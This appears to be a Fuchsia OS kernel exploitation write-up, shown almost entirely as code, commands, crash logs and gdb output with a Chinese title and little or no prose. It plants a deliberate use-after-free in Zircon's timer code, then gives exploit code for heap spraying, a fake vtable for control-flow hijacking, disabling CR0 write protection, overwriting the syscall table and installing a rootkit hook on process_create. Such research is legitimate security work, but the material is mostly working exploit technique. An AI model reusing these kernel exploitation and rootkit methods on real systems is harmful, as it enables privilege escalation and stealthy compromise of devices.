主打安全的谷歌 Fuchsia OS 能否扛住黑客攻击？

$ ./ffx-linux-x64 platform preflight

$ fx clean$ fx set workstation.x64 --with-base //bundles:tools$ fx build

$ fx vdl start -N

$ fx create component --path src/a13x-pwns-fuchsia --lang cpp

#include <iostream>
int main(int argc, const char** argv){  std::cout << "Hello from a13x, Fuchsia!\n";  return 0;}

program: {    // Use the built-in ELF runner.    runner: "elf",
    // The binary to run for this component.    binary: "bin/a13x-pwns-fuchsia",
    // Enable stdout logging    forward_stderr_to: "log",    forward_stdout_to: "log",},

$ fx set workstation.x64 --with-base //bundles:tools --with-base //src/a13x-pwns-fuchsia$ fx build

 $ ffx component run fuchsia-pkg://fuchsia.com/a13x-pwns-fuchsia#meta/a13x_pwns_fuchsia.cm-recreate

$ fx qemu -NBuilding multiboot.bin, fuchsia.zbi, obj/build/images/fuchsia/fuchsia/fvm.blkninja: Entering directory `/home/a13x/develop/fuchsia/src/fuchsia/out/default'ninja: no work to do.ERROR: Could not extend FVM, unable to stat FVM image out/default/obj/build/images/fuchsia/fuchsia/fvm.blk

diff --git a/tools/devshell/lib/fvm.sh b/tools/devshell/lib/fvm.shindex 705341e482c...5d1c7658d34 100644--- a/tools/devshell/lib/fvm.sh+++ b/tools/devshell/lib/fvm.sh@@ -35,3 +35,3 @@ function fx-fvm-extend-image {   fi- stat_output=$(stat "${stat_flags[@]}" "${fvmimg}" )+ stat_output=$(LC_ALL=C stat "${stat_flags[@]}" "${fvmimg}" )   if [[ "$stat_output" =~ Size:\ ([0-9]+)]; then

$ fx qemu -N -s 1 --no-kvm -- -s

$ cat ~/.gdbinitadd-auto-load-safe-path /home/a13x/develop/fuchsia/src/fuchsia/out/default/kernel_x64/zircon.elf-gdb.py

$ cd /home/a13x/develop/fuchsia/src/fuchsia/out/default/$ gdb kernel_x64/zircon.elf(gdb) target extended-remote :1234

diff --git a/zircon/kernel/scripts/zircon.elf-gdb.py b/zircon/kernel/scripts/zircon.elf-gdb.pyindex d027ce4af6d..8faf73ba19b 100644--- a/zircon/kernel/scripts/zircon.elf-gdb.py+++ b/zircon/kernel/scripts/zircon.elf-gdb.py@@ -798,3 +798,3 @@ def _offset_symbols_and_breakpoints(kernel_relocated_base=None):     # Reload the ELF with all sections set-    gdb.execute("add-symbol-file \"%s\" 0x%x -readnow %s" \+    gdb.execute("add-symbol-file \"%s\" 0x%x %s" \                 % (sym_path, text_addr, " ".join(args)), to_string=True)

$ fx set core.x64 --with-base //bundles:tools --with-base //src/a13x-pwns-fuchsia --variant=kasan$ fx build

diff --git a/zircon/kernel/object/timer_dispatcher.cc b/zircon/kernel/object/timer_dispatcher.ccindex a83b750ad4a..14535e23ca9 100644--- a/zircon/kernel/object/timer_dispatcher.cc+++ b/zircon/kernel/object/timer_dispatcher.cc@@ -184,2 +184,4 @@ void TimerDispatcher::OnTimerFired() { +  bool uaf = false;+   {@@ -187,2 +189,6 @@ void TimerDispatcher::OnTimerFired() { +    if (deadline_ % 100000 == 31337) {+      uaf = true;+    }+     if (cancel_pending_) {@@ -210,3 +216,3 @@ void TimerDispatcher::OnTimerFired() {   // ourselves.-  if (Release())+  if (Release() || uaf)     delete this;

  zx_status_t status;  zx_handle_t timer;  zx_time_t deadline;
  status = zx_timer_create(ZX_TIMER_SLACK_LATE, ZX_CLOCK_MONOTONIC, &timer);  if (status != ZX_OK) {    printf("[-] creating timer failed\n");    return 1;  }
  printf("[+] timer is created\n");
  deadline = zx_deadline_after(ZX_MSEC(500));  deadline = deadline - deadline % 100000 + 31337;  status = zx_timer_set(timer, deadline, 0);  if (status != ZX_OK) {    printf("[-] setting timer failed\n");    return 1;  }
  printf("[+] timer is set with deadline %ld\n", deadline);  fflush(stdout);  zx_nanosleep(zx_deadline_after(ZX_MSEC(800))); // timer fired
  zx_timer_cancel(timer); // hit UAF

ZIRCON KERNEL PANIC
UPTIME: 17826ms, CPU: 2...
KASAN detected a write error: ptr=}, size=0x4, caller: }Shadow memory state around the buggy address 0xffffffe00d9a63d5:0xffffffe00d9a63c0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x000xffffffe00d9a63c8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x000xffffffe00d9a63d0: 0xfa 0xfa 0xfa 0xfa 0xfd 0xfd 0xfd 0xfd                                              ^^           0xffffffe00d9a63d8: 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd0xffffffe00d9a63e0: 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd
*** KERNEL PANIC (caller pc: 0xffffffff0038910d, stack frame: 0xffffff97bd72ee70):...
Haltedentering panic shell loop! 

$ cat crash.txt | fx symbolize > crash_sym.txt

dso: id=58d07915d755d72e base=0xffffffff00100000 name=zircon.elf   #0    0xffffffff00324b7d in platform_specific_halt(platform_halt_action, zircon_crash_reason_t, bool) ../../zircon/kernel/platform/pc/power.cc:154 <kernel>+0xffffffff80324b7d   #1    0xffffffff005e4610 in platform_halt(platform_halt_action, zircon_crash_reason_t) ../../zircon/kernel/platform/power.cc:65 <kernel>+0xffffffff805e4610   #2.1  0xffffffff0010133e in $anon::PanicFinish() ../../zircon/kernel/top/debug.cc:59 <kernel>+0xffffffff8010133e   #2    0xffffffff0010133e in panic(const char*) ../../zircon/kernel/top/debug.cc:92 <kernel>+0xffffffff8010133e   #3    0xffffffff0038910d in asan_check(uintptr_t, size_t, bool, void*) ../../zircon/kernel/lib/instrumentation/asan/asan-poisoning.cc:180 <kernel>+0xffffffff8038910d   #4.4  0xffffffff003c169a in std::__2::__cxx_atomic_fetch_add<int>(std::__2::__cxx_atomic_base_impl<int>*, int, std::__2::memory_order) ../../prebuilt/third_party/clang/linux-x64/include/c++/v1/atomic:1002 <kernel>+0xffffffff803c169a   #4.3  0xffffffff003c169a in std::__2::__atomic_base<int, true>::fetch_add(std::__2::__atomic_base<int, true>*, int, std::__2::memory_order) ../../prebuilt/third_party/clang/linux-x64/include/c++/v1/atomic:1686 <kernel>+0xffffffff803c169a   #4.2  0xffffffff003c169a in fbl::internal::RefCountedBase<true>::AddRef(const fbl::internal::RefCountedBase<true>*) ../../zircon/system/ulib/fbl/include/fbl/ref_counted_internal.h:39 <kernel>+0xffffffff803c169a   #4.1  0xffffffff003c169a in fbl::RefPtr<Dispatcher>::operator=(const fbl::RefPtr<Dispatcher>&, fbl::RefPtr<Dispatcher>*) ../../zircon/system/ulib/fbl/include/fbl/ref_ptr.h:89 <kernel>+0xffffffff803c169a   #4    0xffffffff003c169a in HandleTable::GetDispatcherWithRightsImpl<TimerDispatcher>(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr<TimerDispatcher>*, zx_rights_t*, bool) ../../zircon/kernel/object/include/object/handle_table.h:243 <kernel>+0xffffffff803c169a   #5.2  0xffffffff003d3f02 in HandleTable::GetDispatcherWithRights<TimerDispatcher>(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr<TimerDispatcher>*, zx_rights_t*) ../../zircon/kernel/object/include/object/handle_table.h:108 <kernel>+0xffffffff803d3f02   #5.1  0xffffffff003d3f02 in HandleTable::GetDispatcherWithRights<TimerDispatcher>(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr<TimerDispatcher>*) ../../zircon/kernel/object/include/object/handle_table.h:116 <kernel>+0xffffffff803d3f02   #5    0xffffffff003d3f02 in sys_timer_cancel(zx_handle_t) ../../zircon/kernel/lib/syscalls/timer.cc:67 <kernel>+0xffffffff803d3f02   #6.2  0xffffffff003e1ef1 in λ(const wrapper_timer_cancel::(anon class)*, ProcessDispatcher*) gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1170 <kernel>+0xffffffff803e1ef1   #6.1  0xffffffff003e1ef1 in do_syscall<(lambda at gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1169:85)>(uint64_t, uint64_t, bool (*)(uintptr_t), wrapper_timer_cancel::(anon class)) ../../zircon/kernel/lib/syscalls/syscalls.cc:106 <kernel>+0xffffffff803e1ef1   #6    0xffffffff003e1ef1 in wrapper_timer_cancel(SafeSyscallArgument<unsigned int, true>::RawType, uint64_t) gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1169 <kernel>+0xffffffff803e1ef1   #7    0xffffffff005618e8 in gen/zircon/vdso/include/lib/syscalls/kernel.inc:1103 <kernel>+0xffffffff805618e8

// zx_status_t zx_timer_cancelzx_status_t sys_timer_cancel(zx_handle_t handle) {  auto up = ProcessDispatcher::GetCurrent();
  fbl::RefPtr<TimerDispatcher> timer;  zx_status_t status = up->handle_table().GetDispatcherWithRights(handle, ZX_RIGHT_WRITE, &timer);  if (status != ZX_OK)    return status;
  return timer->Cancel();}

$ fx --dir "out/x64" set core.x64 \  --with-base "//bundles:tools" \  --with-base "//src/testing/fuzzing/syzkaller" \  --args=syzkaller_dir='"/home/a13x/develop/gopath/src/github.com/google/syzkaller/"'ERROR at //build/go/go_library.gni:43:3 (//build/toolchain:host_x64): Assertion failed.   assert(defined(invoker.sources), "sources is required for go_library")   ^-----sources is required for go_librarySee //src/testing/fuzzing/syzkaller/BUILD.gn:106:3: whence it was called.   go_library("syzkaller-go") {   ^---------------------------See //src/testing/fuzzing/syzkaller/BUILD.gn:85:5: which caused the file to be included.     ":run-sysgen($host_toolchain)",     ^-----------------------------ERROR: error running gn gen: exit status 1

  auto data0 = ktl::unique_ptr<uint8_t[]>(new (&ac) uint8_t[count * elemsize]);  if (!ac.check())    return ZX_ERR_NO_MEMORY;
  KernelHandle fifo0(fbl::AdoptRef(      new (&ac) FifoDispatcher(ktl::move(holder0), options, static_cast<uint32_t>(count),                               static_cast<uint32_t>(elemsize), ktl::move(data0))));  if (!ac.check())    return ZX_ERR_NO_MEMORY;

 printf("[!] do heap spraying...\n");
#define N 10  zx_handle_t out0[N];  zx_handle_t out1[N];  size_t write_result = 0;
  for (int i = 0; i < N; i++) {    status = zx_fifo_create(31, 8, 0, &out0[i], &out1[i]);    if (status != ZX_OK) {      printf("[-] creating a fifo %d failed\n", i);      return 1;    }  }

 for (int i = 0; i < N; i++) {    status = zx_fifo_write(out0[i], 8, spray_data, 31, &write_result);    if (status != ZX_OK || write_result != 31) {      printf("[-] writing to fifo 0-%d failed, error %d, result %zu\n", i, status, write_result);      return 1;    }    status = zx_fifo_write(out1[i], 8, spray_data, 31, &write_result);    if (status != ZX_OK || write_result != 31) {      printf("[-] writing to fifo 1-%d failed, error %d, result %zu\n", i, status, write_result);      return 1;    }  }
  printf("[+] heap spraying is finished\n");

    const int32_t rc = ref_count_.fetch_add(1, std::memory_order_relaxed);
    //...    if constexpr (EnableAdoptionValidator) {      ZX_ASSERT_MSG(rc >= 1, "count %d(0x%08x) < 1\n", rc, static_cast<uint32_t>(rc));    }

  unsigned int *refcount_ptr = (unsigned int *)&spray_data[8];
  *refcount_ptr = 0x1337C0DE;

// Dispatcher -> FooDispatchertemplate <typename T>fbl::RefPtr<T> DownCastDispatcher(fbl::RefPtr<Dispatcher>* disp) {  return (likely(DispatchTag<T>::ID == (*disp)->get_type()))             ? fbl::RefPtr<T>::Downcast(ktl::move(*disp))             : nullptr;}

 # Virtual address where the kernel is mapped statically.  This is the  # base of addresses that appear in the kernel symbol table.  At runtime  # KASLR relocation processing adjusts addresses in memory from this base  # to the actual runtime virtual address.  if (current_cpu == "arm64") {    kernel_base = "0xffffffff00000000"  } else if (current_cpu == "x64") {    kernel_base = "0xffffffff80100000"  # Has KERNEL_LOAD_OFFSET baked into it.  }

  zx::channel local, remote;  zx_status_t status = zx::channel::create(0, &local, &remote);  if (status != ZX_OK) {    fprintf(stderr, "Failed to create channel: %d\n", status);    return -1;  }
  const char kReadOnlyLogPath[] = "/svc/" fuchsia_boot_ReadOnlyLog_Name;  status = fdio_service_connect(kReadOnlyLogPath, remote.release());  if (status != ZX_OK) {    fprintf(stderr, "Failed to connect to ReadOnlyLog: %d\n", status);    return -1;  }
  zx_handle_t h;  status = fuchsia_boot_ReadOnlyLogGet(local.get(), &h);  if (status != ZX_OK) {    fprintf(stderr, "ReadOnlyLogGet failed: %d\n", status);    return -1;  }

[ffx-laboratory:a13x_pwns_fuchsia] WARNING: Failed to route protocol `fuchsia.boot.ReadOnlyLog` with  target component `/core/ffx-laboratory:a13x_pwns_fuchsia`: A `use from parent` declaration was found  at `/core/ffx-laboratory:a13x_pwns_fuchsia` for `fuchsia.boot.ReadOnlyLog`, but no matching `offer`  declaration was found in the parent[ffx-laboratory:a13x_pwns_fuchsia] INFO: [!] try opening kernel log...[ffx-laboratory:a13x_pwns_fuchsia] INFO: ReadOnlyLogGet failed: -24

zx_status_t zx_debuglog_create(zx_handle_t resource,                               uint32_t options,                               zx_handle_t* out);

zx_handle_t root_resource; // global var initialized by 0
int main(int argc, const char** argv){  zx_status_t status;  zx_handle_t debuglog;
  status = zx_debuglog_create(root_resource, ZX_LOG_FLAG_READABLE, &debuglog);  if (status != ZX_OK) {    printf("[-] can't create debuglog, no way\n");    return 1;  }

zx_status_t sys_debuglog_create(zx_handle_t rsrc, uint32_t options, user_out_handle* out) {  LTRACEF("options 0x%x\n", options);
  // TODO(fxbug.dev/32044) Require a non-INVALID handle.  if (rsrc != ZX_HANDLE_INVALID) {    // TODO(fxbug.dev/30918): finer grained validation    zx_status_t status = validate_resource(rsrc, ZX_RSRC_KIND_ROOT);    if (status != ZX_OK)      return status;  }

[0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00263f20 (pmm_boot_memory) at level 0xdffff, flags 0x1[0.197] 00000:01029> Free memory after kernel init: 8424374272 bytes.[0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00114040 (kernel_shell) at level 0xe0000, flags 0x1[0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff0029e300 (userboot) at level 0xe0000, flags 0x1[0.200] 00000:01029> userboot: ramdisk       0x18c5000 @ 0xffffff8003bdd000[0.201] 00000:01029> userboot: userboot rodata       0 @ [0x2ca730e3000,0x2ca730e9000)[0.201] 00000:01029> userboot: userboot code    0x6000 @ [0x2ca730e9000,0x2ca73100000)[0.201] 00000:01029> userboot: vdso/next rodata       0 @ [0x2ca73100000,0x2ca73108000)

[0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00263f20 (pmm_boot_memory) at level 0xdffff, flags 0x1[0.194] 00000:01029> Free memory after kernel init: 8424361984 bytes.[0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00114040 (kernel_shell) at level 0xe0000, flags 0x1[0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff0029e300 (userboot) at level 0xe0000, flags 0x1[0.194] 00000:01029> userboot: ramdisk       0x18c5000 @ 0xffffff8003bdd000[0.198] 00000:01029> userboot: userboot rodata       0 @ [0x2bc8b83c000,0x2bc8b842000)[0.198] 00000:01029> userboot: userboot code    0x6000 @ [0x2bc8b842000,0x2bc8b859000)[0.198] 00000:01029> userboot: vdso/next rodata       0 @ [0x2bc8b859000,0x2bc8b861000)

(gdb) info vtbl *(TimerDispatcher *)0xffffff802c5ae768vtable for 'TimerDispatcher' @ 0xffffffff003bd11c (subobject @ 0xffffff802c5ae768):[0]: 0xffdffe64ffdffd24[1]: 0xffdcb5a4ffe00454[2]: 0xffdffea4ffdc7824[3]: 0xffd604c4ffd519f4...

// Dispatcher -> FooDispatchertemplate <typename T>fbl::RefPtr<T> DownCastDispatcher(fbl::RefPtr<Dispatcher>* disp) {  return (likely(DispatchTag<T>::ID == (*disp)->get_type()))             ? fbl::RefPtr<T>::Downcast(ktl::move(*disp))             : nullptr;}

  mov    rax,QWORD PTR [r13+0x0]  movsxd r11,DWORD PTR [rax+0x8]  add    r11,rax  mov    rdi,r13  call   0xffffffff0031a77c <__x86_indirect_thunk_r11>

(gdb) x $r110xffffffff001bd570 <_ZNK15TimerDispatcher8get_typeEv>:  0x000016b8e5894855

#define VTABLE_SZ 16unsigned long fake_vtable[VTABLE_SZ] = { 0 }; // global array

#define DATA_SZ 512  unsigned char spray_data[DATA_SZ] = { 0 };  unsigned long **vtable_ptr = (unsigned long **)&spray_data[0];
  // Control-flow hijacking in DownCastDispatcher():  //   mov    rax,QWORD PTR [r13+0x0]  //   movsxd r11,DWORD PTR [rax+0x8]  //   add    r11,rax  //   mov    rdi,r13  //   call   0xffffffff0031a77c <__x86_indirect_thunk_r11>
  *vtable_ptr = &fake_vtable[0]; // address in rax  fake_vtable[1] = (unsigned long)pwn - (unsigned long)*vtable_ptr; // value for DWORD PTR [rax+0x8]

    cmp     $ZX_SYS_COUNT, %rax    jae     .Lunknown_syscall    leaq    .Lcall_wrapper_table(%rip), %r11    movq    (%r11,%rax,8), %r11    lfence    jmp     *%r11

   0xffffffff00306fc8 <+56>:  cmp    rax,0xb0   0xffffffff00306fce <+62>:  jae    0xffffffff00306fe1 <x86_syscall+81>   0xffffffff00306fd0 <+64>:  lea    r11,[rip+0xbda21]        # 0xffffffff003c49f8   0xffffffff00306fd7 <+71>:  mov    r11,QWORD PTR [r11+rax*8]   0xffffffff00306fdb <+75>:  lfence    0xffffffff00306fde <+78>:  jmp    r11

(gdb) x/10xg 0xffffffff003c49f80xffffffff003c49f8:  0xffffffff00307040  0xffffffff003070500xffffffff003c4a08:  0xffffffff00307070  0xffffffff003070800xffffffff003c4a18:  0xffffffff00307090  0xffffffff003070b00xffffffff003c4a28:  0xffffffff003070d0  0xffffffff003070f00xffffffff003c4a38:  0xffffffff00307110  0xffffffff00307130
$ disassemble 0xffffffff00307040Dump of assembler code for function x86_syscall_call_bti_create:   0xffffffff00307040 <+0>:  mov    r8,rcx   0xffffffff00307043 <+3>:  mov    rcx,r10

(gdb) x/178xg 0xffffffff003c49f80xffffffff003c49f8:  0xffffffff00307040  0xffffffff003070500xffffffff003c4a08:  0xffffffff00307070  0xffffffff003070800xffffffff003c4a18:  0xffffffff00307090  0xffffffff003070b0...0xffffffff003c4f58:  0xffffffff00307ce0  0xffffffff00307cf00xffffffff003c4f68:  0xffffffff00307d00  0xffffffff00307d100xffffffff003c4f78 <_ZN6cpu_idL21kTestDataCorei5_6260UE>:  0x0300010300000300  0x0004030003030002

#define SYSCALL_TABLE 0xffffffff003c49f8#define SYSCALL_COUNT 176
int pwn(void){  unsigned long cr0_value = read_cr0();
  cr0_value = cr0_value & (~0x10000); // Set WP flag to 0
  write_cr0(cr0_value);
  memset((void *)SYSCALL_TABLE, 0x41, sizeof(unsigned long) * SYSCALL_COUNT);}

void write_cr0(unsigned long value){  __asm__ volatile("mov %0, %%cr0" : : "r"(value));}
unsigned long read_cr0(void){  unsigned long value;  __asm__ volatile("mov %%cr0, %0" : "=r"(value));  return value;}

(gdb) x/178xg 0xffffffff003c49f80xffffffff003c49f8:  0x4141414141414141  0x41414141414141410xffffffff003c4a08:  0x4141414141414141  0x41414141414141410xffffffff003c4a18:  0x4141414141414141  0x4141414141414141...0xffffffff003c4f58:  0x4141414141414141  0x41414141414141410xffffffff003c4f68:  0x4141414141414141  0x41414141414141410xffffffff003c4f78 <_ZN6cpu_idL21kTestDataCorei5_6260UE>:  0x0300010300000300  0x0004030003030002

#define XSTR(A) STR(A)#define STR(A) #A
#define ZIRCON_ASSERT_FAIL_MSG 0xffffffff001012e0#define HOOK_CODE_SIZE 60#define ZIRCON_PRINTF 0xffffffff0010fa20#define ZIRCON_X86_SYSCALL_CALL_PROCESS_CREATE 0xffffffff003077c0
void process_create_hook(void){  __asm__ ( "push %rax;"      "push %rdi;"      "push %rsi;"      "push %rdx;"      "push %rcx;"      "push %r8;"      "push %r9;"      "push %r10;"      "xor %al, %al;"      "mov $" XSTR(ZIRCON_ASSERT_FAIL_MSG + 1 + HOOK_CODE_SIZE) ",%rdi;"      "mov $" XSTR(ZIRCON_PRINTF) ",%r11;"      "callq *%r11;"      "pop %r10;"      "pop %r9;"      "pop %r8;"      "pop %rcx;"      "pop %rdx;"      "pop %rsi;"      "pop %rdi;"      "pop %rax;"            "mov $" XSTR(ZIRCON_X86_SYSCALL_CALL_PROCESS_CREATE) ",%r11;"      "jmpq *%r11;");}

#define ZIRCON_ASSERT_FAIL_MSG 0xffffffff001012e0#define HOOK_CODE_OFFSET 4#define HOOK_CODE_SIZE 60
  char *hook_addr = (char *)ZIRCON_ASSERT_FAIL_MSG;  hook_addr[0] = 0xc3; // ret to avoid assert  hook_addr++;  memcpy(hook_addr, (char *)process_create_hook + HOOK_CODE_OFFSET, HOOK_CODE_SIZE);  hook_addr += HOOK_CODE_SIZE;  const char *pwn_msg = "ROOTKIT HOOK: syscall 102 process_create()\n";  strncpy(hook_addr, pwn_msg, strlen(pwn_msg) + 1);
#define SYSCALL_N_PROCESS_CREATE 102#define SYSCALL_TABLE 0xffffffff003c49f8
  unsigned long *syscall_table_item = (unsigned long *)SYSCALL_TABLE;  syscall_table_item[SYSCALL_N_PROCESS_CREATE] = (unsigned long)ZIRCON_ASSERT_FAIL_MSG + 1; // after ret
  return 42; // don't pass the type check in DownCastDispatcher